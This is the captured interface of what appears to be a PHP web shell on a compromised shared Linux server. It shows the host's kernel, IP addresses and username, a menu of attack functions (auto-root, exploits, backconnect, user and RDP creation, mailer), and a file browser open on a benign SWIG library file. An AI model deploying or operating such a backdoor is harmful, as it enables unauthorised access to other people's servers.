Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
swig4.0 /
python /
[ HOME SHELL ]
Name
Size
Permission
Action
argcargv.i
2.58
KB
-rw-r--r--
attribute.i
34
B
-rw-r--r--
boost_shared_ptr.i
21.36
KB
-rw-r--r--
builtin.swg
25.56
KB
-rw-r--r--
carrays.i
338
B
-rw-r--r--
ccomplex.i
763
B
-rw-r--r--
cdata.i
30
B
-rw-r--r--
cmalloc.i
32
B
-rw-r--r--
complex.i
80
B
-rw-r--r--
cpointer.i
33
B
-rw-r--r--
cstring.i
32
B
-rw-r--r--
cwstring.i
60
B
-rw-r--r--
defarg.swg
1.13
KB
-rw-r--r--
director.swg
9.17
KB
-rw-r--r--
embed.i
2.47
KB
-rw-r--r--
exception.i
139
B
-rw-r--r--
factory.i
32
B
-rw-r--r--
file.i
1.01
KB
-rw-r--r--
implicit.i
287
B
-rw-r--r--
pyabc.i
446
B
-rw-r--r--
pyapi.swg
747
B
-rw-r--r--
pybackward.swg
1.13
KB
-rw-r--r--
pybuffer.i
2.97
KB
-rw-r--r--
pyclasses.swg
3.39
KB
-rw-r--r--
pycomplex.swg
2.19
KB
-rw-r--r--
pycontainer.swg
31.01
KB
-rw-r--r--
pydocs.swg
1.71
KB
-rw-r--r--
pyerrors.swg
2.59
KB
-rw-r--r--
pyfragments.swg
551
B
-rw-r--r--
pyhead.swg
2.56
KB
-rw-r--r--
pyinit.swg
15.61
KB
-rw-r--r--
pyiterators.swg
12.31
KB
-rw-r--r--
pymacros.swg
38
B
-rw-r--r--
pyname_compat.i
3.98
KB
-rw-r--r--
pyopers.swg
9.98
KB
-rw-r--r--
pyprimtypes.swg
7.88
KB
-rw-r--r--
pyrun.swg
46.44
KB
-rw-r--r--
pyruntime.swg
1004
B
-rw-r--r--
pystdcommon.swg
6.93
KB
-rw-r--r--
pystrings.swg
3.88
KB
-rw-r--r--
python.swg
1.99
KB
-rw-r--r--
pythonkw.swg
2.33
KB
-rw-r--r--
pythreads.swg
2.7
KB
-rw-r--r--
pytuplehlp.swg
308
B
-rw-r--r--
pytypemaps.swg
3.13
KB
-rw-r--r--
pyuserdir.swg
6.07
KB
-rw-r--r--
pywstrings.swg
2.38
KB
-rw-r--r--
std_alloc.i
27
B
-rw-r--r--
std_array.i
3.61
KB
-rw-r--r--
std_auto_ptr.i
585
B
-rw-r--r--
std_basic_string.i
2.51
KB
-rw-r--r--
std_carray.i
1.55
KB
-rw-r--r--
std_char_traits.i
33
B
-rw-r--r--
std_common.i
2.26
KB
-rw-r--r--
std_complex.i
608
B
-rw-r--r--
std_container.i
58
B
-rw-r--r--
std_deque.i
677
B
-rw-r--r--
std_except.i
35
B
-rw-r--r--
std_ios.i
66
B
-rw-r--r--
std_iostream.i
107
B
-rw-r--r--
std_list.i
667
B
-rw-r--r--
std_map.i
9.8
KB
-rw-r--r--
std_multimap.i
2.99
KB
-rw-r--r--
std_multiset.i
1.06
KB
-rw-r--r--
std_pair.i
6.03
KB
-rw-r--r--
std_set.i
1.64
KB
-rw-r--r--
std_shared_ptr.i
68
B
-rw-r--r--
std_sstream.i
29
B
-rw-r--r--
std_streambuf.i
31
B
-rw-r--r--
std_string.i
35
B
-rw-r--r--
std_unordered_map.i
10.19
KB
-rw-r--r--
std_unordered_multimap.i
3.94
KB
-rw-r--r--
std_unordered_multiset.i
1.78
KB
-rw-r--r--
std_unordered_set.i
2.24
KB
-rw-r--r--
std_vector.i
886
B
-rw-r--r--
std_vectora.i
829
B
-rw-r--r--
std_wios.i
26
B
-rw-r--r--
std_wiostream.i
166
B
-rw-r--r--
std_wsstream.i
30
B
-rw-r--r--
std_wstreambuf.i
32
B
-rw-r--r--
std_wstring.i
63
B
-rw-r--r--
stl.i
291
B
-rw-r--r--
typemaps.i
4.35
KB
-rw-r--r--
wchar.i
186
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : std_pair.i
/* Pairs */ %include <pystdcommon.swg> //#define SWIG_STD_PAIR_ASVAL %fragment("StdPairTraits","header",fragment="StdTraits") { namespace swig { #ifdef SWIG_STD_PAIR_ASVAL template <class T, class U > struct traits_asval<std::pair<T,U> > { typedef std::pair<T,U> value_type; static int get_pair(PyObject* first, PyObject* second, std::pair<T,U> *val) { if (val) { T *pfirst = &(val->first); int res1 = swig::asval((PyObject*)first, pfirst); if (!SWIG_IsOK(res1)) return res1; U *psecond = &(val->second); int res2 = swig::asval((PyObject*)second, psecond); if (!SWIG_IsOK(res2)) return res2; return res1 > res2 ? res1 : res2; } else { T *pfirst = 0; int res1 = swig::asval((PyObject*)first, 0); if (!SWIG_IsOK(res1)) return res1; U *psecond = 0; int res2 = swig::asval((PyObject*)second, psecond); if (!SWIG_IsOK(res2)) return res2; return res1 > res2 ? res1 : res2; } } static int asval(PyObject *obj, std::pair<T,U> *val) { int res = SWIG_ERROR; if (PyTuple_Check(obj)) { if (PyTuple_GET_SIZE(obj) == 2) { res = get_pair(PyTuple_GET_ITEM(obj,0),PyTuple_GET_ITEM(obj,1), val); } } else if (PySequence_Check(obj)) { if (PySequence_Size(obj) == 2) { swig::SwigVar_PyObject first = PySequence_GetItem(obj,0); swig::SwigVar_PyObject second = PySequence_GetItem(obj,1); res = get_pair(first, second, val); } } else { value_type *p = 0; swig_type_info *descriptor = swig::type_info<value_type>(); res = descriptor ? SWIG_ConvertPtr(obj, (void **)&p, descriptor, 0) : SWIG_ERROR; if (SWIG_IsOK(res) && val) *val = *p; } return res; } }; #else template <class T, class U > struct traits_asptr<std::pair<T,U> > { typedef std::pair<T,U> value_type; static int get_pair(PyObject* first, PyObject* second, std::pair<T,U> **val) { if (val) { value_type *vp = %new_instance(std::pair<T,U>); T *pfirst = &(vp->first); int res1 = swig::asval((PyObject*)first, pfirst); if (!SWIG_IsOK(res1)) { %delete(vp); return res1; } U *psecond = &(vp->second); int res2 = swig::asval((PyObject*)second, psecond); if (!SWIG_IsOK(res2)) { %delete(vp); return res2; } *val = vp; return SWIG_AddNewMask(res1 > res2 ? res1 : res2); } else { T *pfirst = 0; int res1 = swig::asval((PyObject*)first, pfirst); if (!SWIG_IsOK(res1)) return res1; U *psecond = 0; int res2 = swig::asval((PyObject*)second, psecond); if (!SWIG_IsOK(res2)) return res2; return res1 > res2 ? res1 : res2; } } static int asptr(PyObject *obj, std::pair<T,U> **val) { int res = SWIG_ERROR; if (PyTuple_Check(obj)) { if (PyTuple_GET_SIZE(obj) == 2) { res = get_pair(PyTuple_GET_ITEM(obj,0),PyTuple_GET_ITEM(obj,1), val); } } else if (PySequence_Check(obj)) { if (PySequence_Size(obj) == 2) { swig::SwigVar_PyObject first = PySequence_GetItem(obj,0); swig::SwigVar_PyObject second = PySequence_GetItem(obj,1); res = get_pair(first, second, val); } } else { value_type *p = 0; swig_type_info *descriptor = swig::type_info<value_type>(); res = descriptor ? SWIG_ConvertPtr(obj, (void **)&p, descriptor, 0) : SWIG_ERROR; if (SWIG_IsOK(res) && val) *val = p; } return res; } }; #endif template <class T, class U > struct traits_from<std::pair<T,U> > { static PyObject *from(const std::pair<T,U>& val) { PyObject* obj = PyTuple_New(2); PyTuple_SetItem(obj,0,swig::from(val.first)); PyTuple_SetItem(obj,1,swig::from(val.second)); return obj; } }; } #if defined(SWIGPYTHON_BUILTIN) SWIGINTERN Py_ssize_t SwigPython_std_pair_len (PyObject *a) { return 2; } SWIGINTERN PyObject* SwigPython_std_pair_repr (PyObject *o) { PyObject *tuple = PyTuple_New(2); assert(tuple); PyTuple_SET_ITEM(tuple, 0, PyObject_GetAttrString(o, (char*) "first")); PyTuple_SET_ITEM(tuple, 1, PyObject_GetAttrString(o, (char*) "second")); PyObject *result = PyObject_Repr(tuple); Py_DECREF(tuple); return result; } SWIGINTERN PyObject* SwigPython_std_pair_getitem (PyObject *a, Py_ssize_t b) { PyObject *result = PyObject_GetAttrString(a, b % 2 ? (char*) "second" : (char*) "first"); return result; } SWIGINTERN int SwigPython_std_pair_setitem (PyObject *a, Py_ssize_t b, PyObject *c) { int result = PyObject_SetAttrString(a, b % 2 ? (char*) "second" : (char*) "first", c); return result; } #endif } %feature("python:sq_length") std::pair "SwigPython_std_pair_len"; %feature("python:sq_length") std::pair<T*,U> "SwigPython_std_pair_len"; %feature("python:sq_length") std::pair<T,U*> "SwigPython_std_pair_len"; %feature("python:sq_length") std::pair<T*,U*> "SwigPython_std_pair_len"; %feature("python:tp_repr") std::pair "SwigPython_std_pair_repr"; %feature("python:tp_repr") std::pair<T*,U> "SwigPython_std_pair_repr"; %feature("python:tp_repr") std::pair<T,U*> "SwigPython_std_pair_repr"; %feature("python:tp_repr") std::pair<T*,U*> "SwigPython_std_pair_repr"; %feature("python:sq_item") std::pair "SwigPython_std_pair_getitem"; %feature("python:sq_item") std::pair<T*,U> "SwigPython_std_pair_getitem"; %feature("python:sq_item") std::pair<T,U*> "SwigPython_std_pair_getitem"; %feature("python:sq_item") std::pair<T*,U*> "SwigPython_std_pair_getitem"; %feature("python:sq_ass_item") std::pair "SwigPython_std_pair_setitem"; %feature("python:sq_ass_item") std::pair<T*,U> "SwigPython_std_pair_setitem"; %feature("python:sq_ass_item") std::pair<T,U*> "SwigPython_std_pair_setitem"; %feature("python:sq_ass_item") std::pair<T*,U*> "SwigPython_std_pair_setitem"; %define %swig_pair_methods(pair...) #if !defined(SWIGPYTHON_BUILTIN) %extend { %pythoncode %{def __len__(self): return 2 def __repr__(self): return str((self.first, self.second)) def __getitem__(self, index): if not (index % 2): return self.first else: return self.second def __setitem__(self, index, val): if not (index % 2): self.first = val else: self.second = val%} } #endif %enddef %include <std/std_pair.i>
Close